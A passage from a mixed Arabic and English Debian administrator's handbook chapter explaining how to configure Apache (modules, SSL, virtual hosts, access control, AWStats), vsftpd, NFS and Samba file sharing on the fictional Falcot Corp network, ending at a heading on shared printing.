أباتشي مخدم تجزيئي (modular)، وهناك مزايا كثيرة تقدمها وحدات (modules) خارجية يُحمّلها البرنامج الرئيسي أثناء مرحلة التهيئة. يُفعّل الإعداد الافتراضي أهم الوحدات شيوعاً، لكن لتفعيل وحدات جديدة يكفي استدعاء a2enmod module؛ولتعطيل وحدة ما، يُستَخدَم الأمر a2dismod module. في الواقع هذه البرامج تُنشِئ فقط (أو تحذف) وصلات رمزية في /etc/apache2/mods-enabled/، تشير إلى الملفات الفعلية (المُخزَّنة في /etc/apache2/mods-available/).

IN PRACTICE Checking the configuration

The mod_info module (a2enmod info) allows to access the comprehensive Apache server configuration and information via browser visiting http://localhost/server-info. Because it might contain sensitive information, access is only allowed from the local host by default.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

في الإعداد الافتراضي، ينصت مخدم الوب للمنفذ 80 (حسب الإعدادات في /etc/apache2/ports.conf)، ويخدّم الصفحات من المجلد /var/www/html/ (حسب الإعدادات في /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adding support for SSL

Apache 2.4 includes the SSL module (mod_ssl) required for secure HTTP (HTTPS) out of the box. It just needs to be enabled with a2enmod ssl, then the required directives have to be added to the configuration files. A configuration example is provided in /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

If you want to generate trusted certificates, you can follow section قسم 10.2.1, “Creating gratis trusted certificates” and then adjust the following variables:

SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromission of the server's secret key does not result in the compromission of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command.

→ https://mod.gnutls.org/

11.2.3. إعداد مضيف ظاهري

المضيف الظاهري (virtual host) هو هوية إضافية لمخدم الوب.

يميّز أباتشي بين نوعين من الاستضافة الظاهرية: النوع الذي يعتمد على عنوان IP (أو المنفذ)، والنوع الذي يعتمد على اسم نطاق مخدم الوب. تحتاج الطريقة الأولى لتخصيص عنوان IP مختلف (أو منفذ) لكل موقع، بينما يمكن أن تعمل الثانية على عنوان IP (ومنفذ) وحيد، وتُفرَّق المواقع عن بعضها باسم المضيف (hostname) الذي يرسله عميل HTTP (وهذه لا تعمل إلا مع النسخة 1.1 من بروتوكول HTTP — لحسن الحظ هذه النسخة قديمة لدرجة أن جميع العملاء يستخدمونها فعلاً).

إن التناقص (المستمر) في عناوين IPv4 يدفعنا عادة لتفضيل الطريقة الثانية؛ لكنها تزيد تعقيد الأمور إذا كان المضيفات الظاهرية مضطرة لتوفير HTTPS أيضاً، لأن بروتوكول SSL لم يكن يدعم الاستضافة الظاهرية التي تعتمد على الأسماء قديماً؛ ولا تدعم جميع المتصفحات امتداد SNI (بيان اسم المخدم، Server Name Indication) التي تسمح بالجمع بينهما. عندما تحتاج عدة مواقع HTTPS العمل على المخدم نفسه، سيُفرّق بينها عادة بتشغيلها على منافذ مختلفة أو عناوين IP مختلفة (قد يساعد IPv6 هنا).

يُفعّل الإعداد الافتراضي لأباتشي 2 الاستضافة الظاهرية المعتمدة على الأسماء. بالإضافة لذلك، يُعرَّف مضيف ظاهري في الملف /etc/apache2/sites-enabled/000-default.conf؛ يستخدم هذا المضيف إذا لم يُعثَر على اسم مضيف يطابق طلب العميل.

تحذير المضيف الظاهري الأول

أي طلب لمضيف غير معروف سيجاب عنه دوماً بالمضيف المعرّف أولاً، ولذلك عرفنا www.falcot.com أولاً هنا.

نظرة سريعة أباتشي يدعم SNI

يدعم المخدم أباتشي امتداداً لبروتوكول SSL يدعى Server Name Indication‏ (SNI). يسمح هذا الامتداد للمتصفح أن يرسل اسم المضيف لمخدم الوب أثناء إنشاء اتصال SSL، قبل إرسال طلب HTTP بكثير، الذي كان يستعمل سابقاً للتعرف على المضيف الظاهري المطلوب من بين المضيفات على المخدم نفسه (الذين لهم عنوان IP والمنفذ نفسهما). يسمح هذا لأباتشي باختيار شهادة SSL الأنسب لمتابعة الطلب.

قبل SNI، كان أباتشي يستخدم دوماً الشهادة المعرفة في المضيف الظاهري الافتراضي. وعندئذ سيعرض العملاء الذين يحاولون الوصول لمضيف ظاهري آخر تحذيرات، لأن الشهادة التي استقبلوها لا توافق الموقع الذي يحاولون الوصول إليه. لحسن الحظ، تعمل معظم المتصفحات اليوم مع SNI؛ بما فيها Microsoft Internet Explorer منذ الإصدار 7.0 (منذ Vista)، وMozilla Firefox منذ الإصدار 2.0، وApple Safari منذ الإصدار 3.2.1، وجميع إصدارات Google Chrome.

حزمة أباتشي التي توفرها دبيان مبنية مع تضمين دعم SNI؛ ولذلك لا حاجة لأي إعداد أو ضبط.

بعد ذلك، يُعرّف كل مضيف ظاهري إضافي بملف يُخزَّن في /etc/apache2/sites-available/. بالتالي، لإعداد موقع وب للنطاق falcot.org يكفي إنشاء الملف التالي، ثم تفعيل المضيف الظاهري باستخدام a2ensite www.falcot.org.

مثال 11.13. الملف /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

يستخدم المخدم أباتشي، كما هي إعداداته حتى الآن، ملف سجلات وحيد لجميع المضيفات الظاهرية (رغم أن تغيير هذا ممكن عبر إضافة تعليمات CustomLog في تعاريف المضيفات الظاهرية). من المنطقي إذن تعديل صيغة ملف السجلات هذا بحيث يتضمن اسم المضيف الظاهري. يمكن تحقيق هذا عبر إنشاء ملف /etc/apache2/conf-available/customlog.conf يُعرِّف صيغة جديدة لكافة ملفات السجلات (باستخدام التعليمة التوجيهية LogFormat) وتفعيله بالأمر a2enconf customlog. كما يجب أيضاً إزالة (أو تعليق) سطر CustomLog من الملف /etc/apache2/sites-available/000-default.conf.

مثال 11.14. The /etc/apache2/conf-available/customlog.conf file

# New log format including (virtual) host name LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Now let's use this "vhost" format by default CustomLog /var/log/apache2/access.log vhost

11.2.4. التعليمات التوجيهية الشائعة

يستعرض هذا القسم سريعاً بعض تعليمات إعداد أباتشي شائعة الاستخدام.

يحوي ملف الإعداد الرئيسي عدة كتل Directory عادة؛ تسمح بتحديد تصرفات المخدم المختلفة حسب موقع الملف الذي يقدمه. هذه الكتل تحوي عادة تعليمتي Options و AllowOverride.

مثال 11.15. كتلة Directory

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

تحوي تعليمة DirectoryIndex قائمة الملفات لتجربتها عند الرد على العميل عندما يطلب مجلداً. يستخدم أول ملف متوفر ويرسل كرد على الطلب.

تُتبَع التعليمة Options بقائمة من الخيارات المطلوب تفعيلها. تُعطّل القيمة None جميع الخيارات؛ وفي المقابل، تُفعِّلها All جميعاً عدا MultiViews. من الخيارات المتاحة:

ExecCGI indicates that CGI scripts can be executed.

FollowSymlinks tells the server that symbolic links can be followed, and that the response should contain the contents of the target of such links.

SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and the its target have the same owner.

Includes enables Server Side Includes (SSI for short). These are directives embedded in HTML pages and executed on the fly for each request.

IncludesNOEXEC allows Server Side Includes (SSI) but disables the exec command and limits the include directive to text/markup files.

Indexes tells the server to list the contents of a directory if the HTTP request sent by the client points at a directory without an index file (i.e., when no files mentioned by the DirectoryIndex directive exists in this directory).

MultiViews enables content negotiation; this can be used by the server to return a web page matching the preferred language as configured in the browser.

أساسيات ملف .htaccess

يحوي الملف .htaccess تعليمات ضبط أباتشي تُفرض عليه عند كل طلب لأحد عناصر المجلد الذي يحوي هذا الملف. كما يمتد مدى هذه التعليمات إلى جميع المجلدات الفرعية ضمن ذاك المجلد.

معظم التعليمات التي يمكن وضعها في كتلة Directory مسموحة أيضاً في الملف .htaccess.

تسرد التعليمة AllowOverride جميع الخيارات التي يمكن تفعيلها أو تعطيلها باستخدام ملفات .htaccess. أحد الاستخدامات الشائعة لها هو تقييد ExecCGI، بحيث يختار مدير النظام المستخدمين الذين يحق لهم تشغيل البرامج تحت هوية مخدم الوب (المستخدم www-data).

11.2.4.1. طلب المصادقة

يلزم أحياناً تقييد الوصول لأجزاء من موقع الوب، بحيث يسمح فقط للمستخدمين المشروعين الذي يدخلون اسم مستخدم وكلمة سر بالوصول للمحتويات.

مثال 11.16. ملف .htaccess يطلب المصادقة

Require valid-user AuthName "Private directory" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

أمن لا أمن

الأمن في نظام المصادقة المستخدم في المثال السابق (Basic) ضعيف لأن كلمة السر ترسل بشكل نص صريح (ترمّز بشفرة base64، وهي ترميز بسيط وليست عملية تشفير). كما يجب الانتباه إلى أن المستندات ”المحمية" بهذه الطريقة ترسل أيضاً عبر الشبكة دون تشفير. إذا كان الأمن مهماً، يجب تشفير اتصال HTTP كله باستخدام SSL.

The /etc/apache2/authfiles/htpasswd-private file contains a list of users and passwords; it is commonly manipulated with the htpasswd command. For example, the following command is used to add a user or change their password:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.4.2. تقييد الوصول

The Require directive controls access restrictions for a directory (and its subdirectories, recursively).

→ https://httpd.apache.org/docs/2.4/howto/access.html

يمكن استخدامها لتقييد الوصول اعتماداً على معايير كثيرة؛ سنكتفي نحن بشرح تقييد الوصول اعتماداً على عنوان IP الخاص بالعميل، لكن يمكن جعل القيود أقوى من ذلك بكثير، خصوصاً عند جمع عدة تعليمات Require معاً ضمن كتلة RequireAll.

مثال 11.17. السماح بالوصول من الشبكة المحلية فقط

Require ip 192.168.0.0/16

بدائل الصيغة القديمة

The Require syntax is only available in Apache 2.4 (the version shipped since Jessie). For users of Wheezy, the Apache 2.2 syntax is different, and we describe it here mainly for reference, although it can also be made available in Apache 2.4 using the mod_access_compat module.

تتحكم تعليمتا Allow from وDeny from بتقييد الوصول للمجلد (ومجلداته الفرعية).

تحدد تعليمة Order ترتيب تطبيق تعليمتي Allow from وDeny from؛ والأولوية للتعليمة التي تُطبّق أخيراً. بشكل أوضح، تسمح تعليمة Order deny,allow للعميل بالوصول إذا لم تنطبق تعليمة Deny from عليه، أو إذا انطبقت عليه تعليمة Allow from. وبالعكس، ترفض Order allow,deny وصوله إذا لم تنطبق عليه تعليمة Allow from (أو إذا انطبق عليه تعليمة Deny from).

يمكن أن تلحق تعليمتي Allow from وDeny from بعنوان IP، أو شبكة (مثل 192.168.0.0/255.255.255.0، أو 192.168.0.0/24 أو حتى 192.168.0)، أو اسم مضيف أو اسم نطاق، أو الكلمة المفتاحية all، التي تشير للجميع.

مثلاً، لرفض الاتصالات افتراضياً مع السماح بالاتصال من الشبكة المحلية، يمكنك استخدام ما يلي:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. محللات السجلات

كثيراً ما يُثبّت محلل سجلات على مخدم الوب؛ لأنه يعطي مديري النظم فكرة دقيقة عن أنماط استخدام المخدم.

اختار مديرو النظم في شركة فلكوت AWStats ‏(Advanced Web Statistics، إحصائيات الوب المتقدمة) لتحليل ملفات سجلات أباتشي.

أولى خطوات الإعداد هي تخصيص الملف /etc/awstats/awstats.conf. لقد ترك مديرو النظم في فلكوت الملف دون تعديل عدا البارمترات التالية:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

جميع هذه البارمترات مشروحة في التعليقات في ملف القالب. بالأخص، يحدد المتغيران LogFile وLogFormat موقع ملف السجلات وصيغة المعلومات التي يحويها؛ ويسرد SiteDomain وHostAliases الأسماء المتنوعة التي يعرف بها الموقع الرئيسي.

يجب ألا تعطى القيمة 1 للمتغير DNSLookup في المواقع عالية الطلب؛ أما بالنسبة للمواقع الأصغر، مثل موقع فلكوت المعروض أعلاه، فيسمح هذا الخيار بالحصول على تقارير أوضح تتضمن الأسماء الكاملة للأجهزة بدلاً من عناوين IP.

أمن الوصول للإحصائيات

يتيح AWstats إحصائياته على الموقع دون قيود افتراضياً، لكن يمكن فرض قيود بحيث يسمح لبضعة عناوين IP فقط (قد تكون داخلية) بالوصول لها؛ يجب تعريف قائمة عناوين IP المصرح لها بالوصول في المتغير AllowAccessFromWebToFollowingIPAddresses.

يمكن تفعيل AWstats أيضاً للمضيفات الظاهرية الأخرى؛ يحتاج كل مضيف لملف إعداد خاص، مثل /etc/awstats/awstats.www.falcot.org.conf.

مثال 11.18. ملف إعداد AWstats لمضيف ظاهري

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

يستخدم AWstats أيقونات عديدة مُخزّنة في المجلد /usr/share/awstats/icon/. حتى تتوفر هذه الأيقونات على موقع الوب، يجب تعديل إعدادات أباتشي وإضافة التعليمة التوجيهية التالية:

Alias /awstats-icon/ /usr/share/awstats/icon/

بعد بضعة دقائق (وبعد أن يعمل السكربت بضع مرات)، تصبح النتائج متوفرة على الموقع:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

تحذير تدوير ملفات السجلات

حتى تأخذ الإحصائيات جميع السجلات بعين الاعتبار، يجب تشغيل AWStats مباشرة قبل تدوير ملفات سجلات أباتشي. بالاطلاع على التعليمة prerotate في الملف /etc/logrotate.d/apache2، يمكن حل هذه المشكلة بإضافة رابط رمزي للسكربت /usr/share/awstats/tools/update.sh في المجلد /etc/logrotate.d/httpd-prerotate:

$ cat /etc/logrotate.d/apache2 /var/log/apache2/*.log { daily missingok rotate 14 compress delaycompress notifempty create 644 root adm sharedscripts postrotate if invoke-rc.d apache2 status > /dev/null 2>&1; then \ invoke-rc.d apache2 reload > /dev/null 2>&1; \ fi; endscript prerotate if [ -d /etc/logrotate.d/httpd-prerotate ]; then \ run-parts /etc/logrotate.d/httpd-prerotate; \ fi; \ endscript } $ sudo mkdir -p /etc/logrotate.d/httpd-prerotate $ sudo ln -sf /usr/share/awstats/tools/update.sh \ /etc/logrotate.d/httpd-prerotate/awstats

لاحظ أيضاً أنه يجب منح صلاحيات قراءة ملفات السجلات التي ينشئها logrotate للجميع، وخصوصاً AWstats. في المثال السابق، يضمن السطر create 644 root adm ذلك (بدلاً من الصلاحيات الافتراضية 640).

11.3. مخدم الملفات FTP

FTP‏ (File Transfer Protocol، أو بروتوكول نقل الملفات) هو أحد بروتوكولات الإنترنت الأولى (أُصدِرَ RFC 959 سنة 1985!). لقد كان يستخدم لتوزيع الملفات حتى قبل ولادة الوب (أُنشئ بروتوكول HTTP في 1990، وعُرِّفت النسخة 1.0 منه رسمياً في RFC 1945، الصادر في 1996).

يسمح هذا البروتوكول برفع وتنزيل الملفات؛ لذلك لا يزال واسع الاستخدام لتنصيب التحديثات على المواقع التي يستضيفها مزوّدي خدمة الإنترنت (أو أي هيئة استضافة مواقع أخرى). في هذه الحالات، نستخدم اسم مستخدم وكلمة سر؛ وبعد المصادقة، يعطي مخدم FTP صلاحيات القراءة والكتابة لمجلد بيت المستخدم.

أما مخدمات FTP الأخرى فتستخدم بشكل رئيسي لتوزيع الملفات وإتاحتها للتنزيل للعموم؛ حزم دبيان هي مثال عن هذا. تسحب محتويات هذه المخدمات مخدمات أخرى، بعيدة عنها جغرافياً؛ وبعدها توفرها للمستخدمين الأقرب إليها. هذا يعني أن المصادقة مع العميل غير ضرورية؛ ولذلك، يدعى وضع العمل هذا باسم ”anonymous FTP“. للأمانة العلمية، هناك مصادقة مع العملاء في هذا الوضع حيث يستخدم الاسم anonymous؛ أما كلمة السر فهي، تقليدياً، عنوان البريد الإلكتروني للمستخدم، لكن المخدم يتجاهلها.

Many FTP servers are available in Debian (ftpd[1], proftpd-basic, pyftpd and so on). The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

يؤدي تثبيت الحزمة لإنشاء المستخدم ftp على النظام. يستخدم هذا الحساب دوماً مع اتصالات FTP المجهولة، ويعتبر مجلد بيته (/srv/ftp/) جذراً لشجرة الملفات المتاحة للمستخدمين المتصلين بهذه الخدمة. تحتاج الإعدادات الافتراضية (في /etc/vsftpd.conf) إلى بعض التغييرات لتلبي الحاجة إلى توفير الملفات الكبيرة للتنزيل العمومي: يجب تفعيل الوصول المجهول (anonymous_enable=YES) كما يجب تعطيل صلاحية القراءة فقط للمستخدمين المحليين (local_enable=NO). تعطيل هذه الصلاحية مهم لأن بروتوكول FTP لا يستخدم أي شكل من أشكال التشفير وبالتالي يمكن التقاط كلمات سر المستخدمين عبر الشبكة.

[1] The ftpd package is not included in Debian Buster due to a bug, which could not be solved before the release.

11.4. مخدم الملفات NFS

NFS (Network File System) is a protocol allowing remote access to a filesystem through the network. All Unix systems can work with this protocol.

SPECIFIC CASE Microsoft Windows and NFS Shares

When older or (so called) "Home" variants of Windows are involved, usually Samba (قسم 11.5, “إعداد مشاركات ويندوز باستخدام سامبا”) must be used instead of NFS. Modern Windows Server and "Pro" or "Enterprise" Desktop solutions however have built-in support for NFS. After installation of the "Services for NFS" components NFS shares can be accessed and temporarily or permanently mounted like any other network share. Be aware of possible encoding issues in file names.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

أداة قوية جداً ولكنه يعاني، منذ الأزل، من قيود كثيرة، معظمها حلت في الإصدار 4 من البروتوكول. ولكن العيب هو أن إعداد الإصدار الأخير من NFS أصعب عندما ترغب باستخدام مزايا الحماية البسيطة مثل المصادقة والتشفير لأنه يعتمد على Kerberos في هذه الأجزاء. وإذا لم تستخدم هذه المزايا عليك الاقتصار على استخدام بروتوكول NFS في الشبكات المحلية الموثوقة فقط لأن البيانات تنتقل عبر الشبكة دون تشفير (يستطيع sniffer التقاطها) كما تعطى صلاحيات الوصول اعتماداً على عنوان IP الخاص بالعميل (الذي يمكن تزويره).

توثيق NFS HOWTO

Good documentation to deploy NFSv4 is rather scarce. Here are some pointers with content of varying quality but that should at least give some hints on what should be done.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. تأمين NFS

إذا لم تكن تستخدم مزايا الأمان التي تعتمد على Kerberos فلا بد أن تضمن أن الأجهزة التي يسمح لها باستخدام NFS هي الوحيدة التي تستطيع الاتصال بمختلف مخدمات RPC اللازمة، لأن البروتوكول البسيط يثق بالمعلومات التي يستقبلها من الشبكة. يجب أن يمنع الجدار الناري أيضاً تزوير عناوين IP ‏(IP spoofing) بحيث لا يسمح لأي جهاز خارجي أن ينتحل شخصية جهاز داخلي، ويجب حصر الوصول إلى المنافذ المعنية بالأجهزة التي يسمح لها بالوصول لمشاركات NFS.

أساسيات RPC

RPC ‏(Remote Procedure Call، أو استدعاء الإجراءات البعيدة) هو معيار في يونكس للخدمات البعيدة. NFS هي واحدة من هذه الخدمات.

تُسجَّل خدمات RPC في دليل يعرف باسم portmapper. يتصل العميل الذي يرغب بإجراء طلب NFS مع portmapper أولاً (على المنفذ 111، إما TCP أو UDP)، ويسأل عن مخدم NFS؛ يتضمن الرد عادة المنفذ 2049 (منفذ NFS الافتراضي). لا يشترط أن تستخدم جميع خدمات RPC منافذ ثابتة.

كانت النسخ الأقدم من البروتوكول تتطلب خدمات RPC أخرى التي كانت تستخدم منافذ تتعين ديناميكياً. لحسن الحظ، لم تعد هناك حاجة إلا إلى المنفذ 2049 (لخدمة NFS) والمنفذ 111 (من أجل portmapper) وهذا يسهل إعداد الجدران النارية.

11.4.2. مخدم NFS

مخدم NFS جزء من النواة لينكس؛ وهو مبني كوحدة في النَوَى التي تقدمها دبيان. إذا كان هناك رغبة بتشغيل مخدم NFS تلقائياً عند الإقلاع، يجب تثبيت الحزمة nfs-kernel-server؛ فهي تحوي سكربتات بدء التشغيل المناسبة.

يسرد ملف إعداد مخدم NFS، ‏/etc/exports،المجلدات التي سيوفرها على الشبكة (المجلدات المُصدّرة exported). بالنسبة لكل مشاركة NFS، تمنح صلاحيات الوصول فقط للأجهزة المذكورة بجوارها. يمكن التحكم بالوصول بدقة أكبر باستخدام بضعة خيارات. صيغة الملف بسيطة جداً:

/directory/to/share machine1(option1,option2,...) machine2(...) ...

لاحظ أنه في NFSv4، يجب أن تكون جميع المجلدات المصدرة تابعة لشجرة مجلدات واحدة وأن جذر تلك الشجرة يجب تصديره حتماً وتعريفه بالخيار fsid=0 أو الخيار fsid=root.

يمكن التعرف على الأجهزة باسم DNS أو بعنوان IP الخاص بها. كما يمكن تحديد مجموعات من الأجهزة باستخدام صيغة مثل *.falcot.com أو مجال من عناوين IP مثل 192.168.0.0/255.255.255.0 أو 192.168.0.0/24.

تُصدّر المجلدات في وضع القراءة فقط افتراضياً (أو باستخدام الخيار ro). يمنح الخيار rw صلاحيات القراءة والكتابة. يتصل عملاء NFS نموذجياً من منفذ مخصص للمستخدم الجذر (أي أنه أقل من 1024)؛ يمكن رفع هذا القيد باستخدام الخيار insecure (الخيار secure ضمني، لكن يمكن كتابته صراحة للتوضيح إذا اقتضت الحاجة).

افتراضياً، يجيب المخدم فقط على طلبات NFS بعد إتمام العملية على القرص (الخيار sync)؛ لكن يمكن تعطيل هذا بالخيار async. تزيد عمليات الكتابة غير المتزامنة الأداء قليلاً، لكنها تخفض الموثوقية بسبب احتمال خسارة البيانات إذا انهار المخدم في الفترة ما بين إرسال تأكيد الكتابة وبين إنهاء الكتابة الفعلية على القرص. بما أن القيمة الافتراضية تغيرت مؤخراً (مقارنة بالقيمة التاريخية في NFS)، يُفضّل استخدام خيار صريح.

In order to not give root access to the filesystem to any NFS client, all queries appearing to come from a root user are considered by the server as coming from the nobody user. This behavior corresponds to the root_squash option, and is enabled by default. The no_root_squash option, which disables this behavior, is risky and should only be used in controlled environments. If all users should be mapped to the user nobody, use all_squash. The anonuid=uid and anongid=gid options allow specifying another fake user to be used instead of UID/GID 65534 (which corresponds to user nobody and group nogroup).

في NFSv4، يمكنك إضافة الخيار sec لتحديد مستوى الحماية الذي تريد: sec=sys هو الافتراضي وليس له خصائص أمنية مميزة، أما المستوى sec=krb5 فيفعل المصادقة فقط، والمستوى sec=krb5i يضيف التحقق من سلامة المعلومات المنقولة، والمستوى sec=krb5p هو أكمل المستويات حيث يتضمن حماية الخصوصية (عبر تشفير البيانات). سوف تحتاج لإعداد Kerberos حتى تعمل هذه المستويات (هذه الخدمة غير مشروحة في هذا الكتاب).

هناك خيارات أخرى متاحة؛ وهي موثّقة في صفحة الدليل exports(5)‎.

تحذير التثبيت الأول

The /etc/init.d/nfs-kernel-server boot script only starts the server if /etc/exports lists one or more valid NFS shares. On initial configuration, once this file has been edited to contain valid entries, the NFS server must therefore be started with the following command:

# systemctl start nfs-kernel-server

11.4.3. عميل NFS

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntaxes of the mount command and the /etc/fstab file.

مثال 11.19. الربط اليدوي باستخدام الأمر mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

مثال 11.20. مدخلة NFS في الملف /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

The entry described above mounts, at system startup, the NFS directory /shared/ from the arrakis server into the local /srv/shared/ directory. Read-write access is requested (hence the rw parameter). The nosuid option is a protection measure that wipes any setuid or setgid bit from programs stored on the share. If the NFS share is only meant to store documents, another recommended option is noexec, which prevents executing programs stored on the share. Note that on the server, the shared directory is below the NFSv4 root export (for example /export/shared), it is not a top-level directory.

تشرح صفحة الدليل nfs(5)‎ ‎جميع الخيارات بشيء من التفصيل.

11.5. إعداد مشاركات ويندوز باستخدام سامبا

سامبا هي مجموعة أدوات تدعم بروتوكول SMB (يُعرَف أيضاً باسم ”CIFS“) على لينكس. يستخدم ويندوز هذا البروتوكول لمشاركة الملفات والطابعات على الشبكة.

Samba can also act as a Windows domain controller. This is an outstanding tool for ensuring seamless integration of Linux servers and the office desktop machines still running Windows.

11.5.1. مخدم سامبا

تحوي الحزمة samba المخدمين الرئيسين لسامبا 4، smbd وnmbd.

توثيق التعمق أكثر

مخدم سامبا استعمالاته متنوعة جداً وقابل للضبط بشكل كبير، ويستطيع معالجة حالات استخدام عديدة جداً تلبي احتياجات مختلفة كثيراً وبُنَى شبكات متنوعة. يُركّز هذا الكتاب على الحالة التي يستخدم فيها سامبا كمخدم مستقل، لكنه يستطيع أن يعمل أيضاً كمتحكم نطاق NT4 أو كمتحكم نطاق Active Directory كامل، أو كعضو بسيط في نطاق سابق (الذي قد يديره مخدم ويندوز).

The samba package contains all the necessary manual pages and in /usr/share/doc/samba/examples/ a wealth of commented example files. If you are looking for a more comprehensive documentation, you may check the Samba website.

→ https://www.samba.org/samba/docs/

أدوات المصادقة مع مخدم ويندوز

تعطي Winbind مدير النظام إمكانية استخدام مخدم ويندوز كمخدم مصادقة. كما تتكامل Winbind بسلاسة مع PAM و NSS. يسمح هذا بإعداد أجهزة لينكس حيث يستطيع جميع مستخدمي نطاق ويندوز الحصول على حساب آلياً.

More information can be found in the /usr/share/doc/libpam-winbind/examples/pam_winbind/ directory of the libpam-winbind package.

11.5.1.1. الإعداد باستخدام debconf

The package sets up a minimal configuration during the initial installation by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

On first installation the only piece of required information is the name of the workgroup where the Samba server will belong (the answer is FALCOTNET in our case).

In case of a package update (from the old stable Debian version) or if the SMB server has already been configured to use a WINS server (wins server), the package also proposes identifying the WINS server from the information provided by the DHCP daemon. The Falcot Corp administrators rejected this option, since they intend to use the Samba server itself as the WINS server.

11.5.1.2. الإعداد اليدوي

11.5.1.2.1. التعديلات على smb.conf

تتطلب احتياجات شركة فلكوت تعديل خيارات أخرى من الملف /etc/samba/smb.conf. تلخص المقتطفات التالية التعديلات التي أجروها في قسم [global].

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option has been removed from the default configuration in Buster and must be added manually if desired.

هذه هي القيمة الافتراضية لهذا المتغير؛ لكن بما أنها مركزية في إعدادات سامبا، فيفضّل إعادة ضبطها صراحة. كل مستخدم يحتاج المصادقة قبل أن يصل لأي مشاركة.

11.5.1.2.2. إضافة المستخدمين

يحتاج كل مستخدم سامبا حساباً على المخدم؛ يجب إنشاء حسابات يونكس أولاً، بعدها يجب تسجيل المستخدم في قاعدة بيانات سامبا. خطوة إضافة مستخدم يونكس تتم حسب الطريقة المعتادة (باستخدام adduser مثلاً).

أما لإضافة مستخدم حالي إلى قاعدة بيانات سامبا فيكفي تشغيل الأمر smbpasswd -a user؛ سيطلب هذا الأمر إدخال كلمة السر.

يمكن حذف المستخدم بالأمر smbpasswd -x user. كما يمكن تعطيل حسابات سامبا مؤقتاً (باستخدام smbpasswd -d user) وإعادة تفعيلها لاحقاً (باستخدام smbpasswd -e user).

11.5.2. عميل سامبا

تسمح ميزة العميل في سامبا لأجهزة لينكس بالوصول لمشاركات ويندوز والطابعات المشتركة. تتوفر البرامج المطلوبة في الحزمتين cifs-utils و smbclient.

11.5.2.1. البرنامج smbclient

يستعلم البرنامج smbclient عن مخدمات SMB. وهو يقبل الخيار -U user، للاتصال بالمخدم بالهوية المحددة. يتصل الأمر smbclient //server/share بالمشاركة بطريقة تفاعلية تشابه استخدام عميل FTP نصي. يسرد smbclient -L server جميع المشاركات المتاحة (والمرئية) على المخدم.

11.5.2.2. ربط مشاركات ويندوز

يسمح الأمر mount بربط مشاركة ويندوز مع شجرة نظام ملفات لينكس (بمساعدة الأمر mount.cifs المتوفر في cifs-utils).

مثال 11.21. ربط مشاركات ويندوز

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

صيغة الملف /etc/smb-credentials (الذي يجب ألا تعطى صلاحية قراءته للمستخدمين) كالتالي:

username = user password = password

يمكن تحديد خيارات أخرى من سطر الأوامر؛ تتوفر قائمة كاملة بهذه الخيارات في صفحة الدليل mount.cifs(1)‎. هناك خيارات بالذات قد يهمانك: uid وgid اللذان يسمحان بفرض مالك ومجموعة للملفات المتاحة على المشاركة، حتى لا تنحصر صلاحيات الوصول بالمستخدم الجذر.

كما يمكن ضبط عملية ربط مشاركة ويندوز في الملف /etc/fstab:

//server/shared /shared cifs credentials=/etc/smb-credentials

أما فك ربط مشاركة SMB/CIFS فعبر أمر umount القياسي.

11.5.2.3. الطباعة على طابعة مشتركة

